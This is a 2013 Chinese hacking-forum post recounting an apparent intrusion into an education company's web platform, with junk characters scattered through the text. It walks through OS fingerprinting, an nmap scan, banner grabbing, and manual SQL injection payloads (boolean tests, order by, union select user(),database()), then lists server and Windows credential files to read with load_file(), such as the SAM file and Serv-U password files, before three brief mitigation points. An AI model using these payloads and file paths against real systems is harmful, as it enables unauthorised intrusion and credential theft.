找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2087|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:3 ^# j$ n2 O$ B" z; |) k% T# _
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……4 Q- s$ `  h8 C4 V9 u8 t) t* ?. |
第一步:获取需要的信息5 T( P% I. G' m" I3 i. n4 P
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
) L$ C6 \4 D4 h7 `- g5 T注:以下为保护特用XXX代替敏感信息
7 x" f" C) f5 s8 n5 d7 \顺手先PING了一下他们的域名:
7 Y, a3 ^% \& r6 Y( c1 i. W6 mping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
0 s# l7 [. a- K  ?2 H5 C64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
6 W& n% M: u0 {% U+ i顺便了解一下TTL,学好基础知识才能一路顺风:
% r& G; @, ?  @$ o8 wTTL:(Time To Live ) 生存时间
. Q( y6 |. a1 S) E; s  j+ d指定数据包被路由器丢弃之前允许通过的网段数量。
& d$ O9 j$ u, e9 _TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。& c# u  D6 L& |3 M0 M
使用PING时涉及到的 ICMP 报文类型
2 @+ W% D  d5 Q一个为ICMP请求回显(ICMP Echo Request)' x9 ^3 I1 d* R5 @% P& q
一个为ICMP回显应答(ICMP Echo Reply)* t7 D6 L/ F- ^  M' C" N4 `% E
TTL 字段值可以帮助我们识别操作系统类型。# }$ @; Z$ Y( L7 B% f, c
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2559 B  N. K8 q5 @& v
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 643 t/ l( ?' f/ \
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 1287 q5 _) D+ z4 w5 w! ~- M* \
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
  l; ^  o8 N4 ^1 K& ~8 k! J当然,返回的TTL值是相同的
4 {2 N8 `3 h! f( n6 r. [9 I2 ]. x但有些情况下有所特殊
3 I9 Z" _5 {% o; b- X  b4 aLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
2 }! T) L$ l: OFreeBSD 4.1, 4.0, 3.4;4 V; Y. m+ O+ g" p
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
& f" u# d* I( F5 f9 X% gOpenBSD 2.6, 2.7,, d* h( Z; ]* ]7 f& ^+ D5 B( R
NetBSD  D( ?; W/ ~% B, [
HP UX 10.20
$ B# A$ B# a8 {2 X/ c# `* v) IICMP 回显应答的 TTL 字段值为 255% q* s' e$ b. c& Z8 c
Windows 95/98/98SE
/ j2 O  @* r. ^0 {$ M( p) ~5 IWindows ME
/ ]& t& U1 w+ d. D, T# iICMP 回显应答的 TTL 字段值为 32
/ y$ I+ m9 Y7 ^0 G5 s" W0 YWindows NT4 WRKS
. `$ n1 w/ y# h1 J" E% @- dWindows NT4 Server' V- g* d1 V  A* f, E
Windows 2000
9 x3 Y: e1 l$ Q  }. y3 UWindows XP
, Z  G; Y  e1 d% H6 B* J/ o& dICMP 回显应答的 TTL 字段值为 128
" X8 ]% f4 s5 R; M0 s6 Z这样,我们就可以通过这种方法来辨别操作系统
' v. @% i8 r- r0 u2 ]- j; HTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255+ R. \( Y  U( T1 g( ^4 J4 m' I
用NMAP扫描一下:
  W7 r$ Y0 E8 D* V* G% o) L! |/ e8 @4 [8 Rnmap -sT -O XXX.XXX.XXX.XXX
, @" I- [4 M( o如果没有装WinPcap则会弹出提示:
3 J8 ^' _- B) }9 C8 J( [% XWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
  B/ R+ _$ Q6 W" ]" Hade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(
: }& `  S) d' T) mode — Nmap may not function completely
0 O# L! ^5 w5 ?- |TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
( ^4 t3 p) a  T4 g3 R: Zand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win
. A$ ~7 S9 S) K7 _. rpcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an  [( m. Q2 ?3 o
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
8 m0 R: V$ X  ]) r1 Y4 ~% ?ersions, you may be able to take iphlpapi.dll from another system and place it i
8 y) A- y. S+ Rn your system32 dir (e.g. c:\windows\system32).
3 `5 ], l$ b: s0 q9 P9 cQUITTING!5 X6 `% _: B% r* f* z: \" h* L# J
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe  Z, d8 E6 i& Q" O/ B
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:$ g5 O- N6 w0 S. V- {) M
Interesting ports on XXX.XXX.XXX.XXX:  `0 E! `4 n) e$ V! g5 n
Not shown: 986 closed ports
6 w$ b6 F8 H9 z2 A$ v) S# h3 w) dPORT     STATE    SERVICE
6 T+ e0 v- t  J2 X" Q21/tcp   open     ftp
/ k" V" q$ R0 T5 q22/tcp   open     ssh
: ]* d! N# f; j! \- {23/tcp   open     telnet0 f. M2 C, r$ R, M3 N' G" G
80/tcp   open     http5 I8 l) V2 x. B( o* Q5 y
111/tcp  open     rpcbind
3 Q0 r& o3 I7 m7 I" u  C: y135/tcp  filtered msrpc% J8 |- C) f, q7 j% s
139/tcp  filtered netbios-ssn
' p! N) D$ j$ e0 a* J( p4 w4 d445/tcp  filtered microsoft-ds! W" h: n5 r& m/ V9 _5 Y# k, }2 _: g+ X
513/tcp  open     login, A2 a/ b9 b& p  v, v
514/tcp  open     shell! w6 Y) r& O/ O" k
593/tcp  filtered http-rpc-epmap
2 Q# g+ o# a$ w* ?) k  B& o1720/tcp filtered H.323/Q.931/ o6 K% `# g: H0 F# q+ C
3306/tcp open     mysql
* z- S+ |' G  b; F" S4444/tcp filtered krb524- t/ w/ p6 N% e/ I
Device type: WAP
5 J5 p5 d& C& T$ q: m; O* h) \Running: Linux 2.4.X8 ~4 }. T. z* l4 T9 r
OS details: DD-WRT (Linux 2.4.35s)6 O6 n* I" j7 Q( d
Network Distance: 13 hops& \3 w! z: j* @& v8 |! U
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
5 |+ A2 @$ F9 y/ X) y+ h# elogin as:
$ r6 o; s  ^5 B7 J* STelnet23端口也是开着的,用telnet 命令链接一下:% q6 C  A; _- L- T5 J
telnet XXX.XXX.XXX.XXX
7 V  x6 W) A7 ~# N  p提示:! _8 m9 o+ ]) _& c( Z
Red Hat Enterprise Linux Server release 5.2 (Tikanga)7 l3 w+ \* o: \, j" s% S+ W
Kernel 2.6.18-92.el5PAE on an i6863 b; u& v4 M, m( N
login:
. ]* {2 q8 [+ Z( ^, v" z获取HTTP头信息:% ~" P1 G- `% K9 V# I/ j6 c% u
在本地执行如下PHP代码4 U& g" I/ F+ z0 G( u6 B
<?php
3 k# z1 n+ o) L) H; `& P& B$url = ‘XXX.XXX.XXX.XXX’;5 U9 z' o5 J7 n2 }4 @
print_r(get_headers($url));5 \2 J) S4 o  M( ^
print_r(get_headers($url, 1));
7 B* B$ I2 E* Z- j+ y- x- r7 B' u?>4 @, K* v3 J6 Y
将以上代码保存为PHP文件,执行:/ L  [  y+ g; [# r* H
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ). C  b3 F6 a2 M% [- d
现在可以得出结论:
; v6 s6 Y' L. o! m系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
3 N& U% g8 h& \3 l  `+ \% t内核版本:Kernel 2.6.18-92.el5PAE on an i686
1 b3 \" Y2 @  Y' B- t, r% LWEB服务器版本:nginx/0.7.61$ z# ~9 i& y8 Q4 O
第二步,开始测试寻找漏洞- C# E/ |  x3 X
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
. m) y# ?% w7 N" m, o; {1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
2 R7 t0 g/ R! J6 V2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
/ b/ A+ ]" }3 T$ Shttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
) A0 r' M: Y( l& [http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
$ k  {1 ~5 n: M恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
. n, p1 e5 r, H6 Z1 T3、手工注入:
9 T* v2 A: D7 w9 X, l2 z注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
% h, H3 {- b8 ~! ^: P! _3.1 猜测当前表字段数4 L. j4 |9 C: d) e& C3 S
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
& g" k  V9 h' n: I+ g此处猜测有个简单的算法,都是有技巧的吗,呵呵
2 i' @' u0 P4 J- }9 F7 ]0 }1 Z算法简单如下:
! ^8 K( E/ O2 L, f& H, F. @0 [  P第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;- M& M& F; }& Y( _7 j. o
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;& k( W1 _% G0 U# g0 t0 V# e6 L( \
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
  F% m8 R5 m) R7 J2 H, u以此来判断,是否过界,配合取中算法猜出字段数。( O- c7 K( h/ O" K
举例:
  e! l# [. O/ @; [http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
/ ^) U! d$ l( o& q$ [& Khttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
! _1 e) u9 `3 ?此时3则为我们要找的字段数。
/ R( T. C+ S' I/ z& x$ Y/ ^3.2 配合union联合查询字段在页面所位置2 n$ e" }! B5 k4 m
我们已经知道了字段数为3,此时则可以做如下操作:
& L4 v: N- M8 d' h" t  m  h* Yhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,31 Z' A; o: c+ O& j3 ~; W4 p9 u

; t& P1 i$ h/ M# f8 T这样就可以测试到哪些字段在页面上有所显示了,如图:
# i& g+ W: v6 ~. k3 y5 R! y
! k$ ]4 z8 Q& Z3 U+ p3.3 查敏感信息
" |2 A! ], H0 T4 D4 t' {这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。3 {/ z* Z. `- Z! P  A
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()4 j1 Y/ @0 @5 q* ?1 j
3.3.1 先查数据库用户、数据库名,以备后用,如图:
5 t; A% v# Q- g0 G+ N  t7 D/ Q" e
得到数据库用户为root、数据库名为DBxx;3 @+ n/ ^$ g4 V2 r  c9 r$ j
3.3.2 查配置文件5 I! J( M% N( v' a. f' R
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
# j& a# l# }! U4 y4 H* |查看文件有一定的条件限制:
4 Y) ~4 ^0 I, v4 e欲读取文件必须在服务器上
" i3 a6 a/ v+ D+ `' r6 n( N* G必须指定文件完整的路径) e. m% u1 ]5 w
必须有权限读取并且文件必须完全可读
8 i4 Y" I2 c8 A' H欲读取文件必须小于 max_allowed_packet
' |) W  J$ C" e1 _& y. k. CMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
  p) x$ X5 u3 H! N常用的一些:3 f' x; C; V% p  E0 x( G2 g
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  F: i0 x# k' e# Y
/usr/local/apache2/conf/httpd.conf
6 b& b, N: m9 n* S/ w1 u3 N. A  h/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置6 f; ~, R* E+ G8 i; F
/usr/local/app/php5/lib/php.ini //PHP相关设置
% F+ v9 m: j1 _9 S) [! w# h/etc/sysconfig/iptables //从中得到防火墙规则策略: k) A( B4 ^; {6 ?
/etc/httpd/conf/httpd.conf // apache配置文件
# B1 T0 M6 a" d/etc/rsyncd.conf //同步程序配置文件
! L$ ^* M% L% X0 R" v1 r/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP., X" x* j4 L7 ?8 H* A: K1 ^+ W. Y
/etc/my.cnf //mysql的配置文件
  C/ d, i* X, p* l, e$ \* |& R/etc/redhat-release //系统版本
- K  E/ U. Y1 N+ Z% H/etc/issue
7 f; ^8 b: T3 e$ A/ a! N. }; ~) u/etc/issue.net4 o: h" ~4 R$ m3 `2 P' G- G
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码$ S3 t) E1 Z" C0 R( c0 S2 {! H- X
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码. @( u/ m- u5 t! R
c:\Program Files\Serv-U\ServUDaemon.ini( w9 q: F, v, M! {
c:\windows\my.ini //MYSQL配置文件
4 h) I1 x0 \8 g" K: e: q7 j6 Oc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件* M$ }* l" x; |
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
0 c- r1 v& x3 cc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
' l! u- r9 K8 l  ec:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
% l+ ~, f0 V5 O* lc:\Program Files\RhinoSoft.com\ServUDaemon.exe9 l% N9 j! G" M2 \/ o
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
# u, N% M$ H4 U' w//存储了pcAnywhere的登陆密码! O: ]; C2 q' a4 b, A
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
; S! w4 U, K" E这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。6 S  h* l3 F, z' g
最后:防范措施
: n) f; I% q5 p5 L1、修复PHP注入漏洞;7 M; O6 l, q7 X, g7 U) \4 m+ x  N7 e% D
2、Mysql使用普通权限的用户;" z1 v& l! u6 I! h( s3 r9 p
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表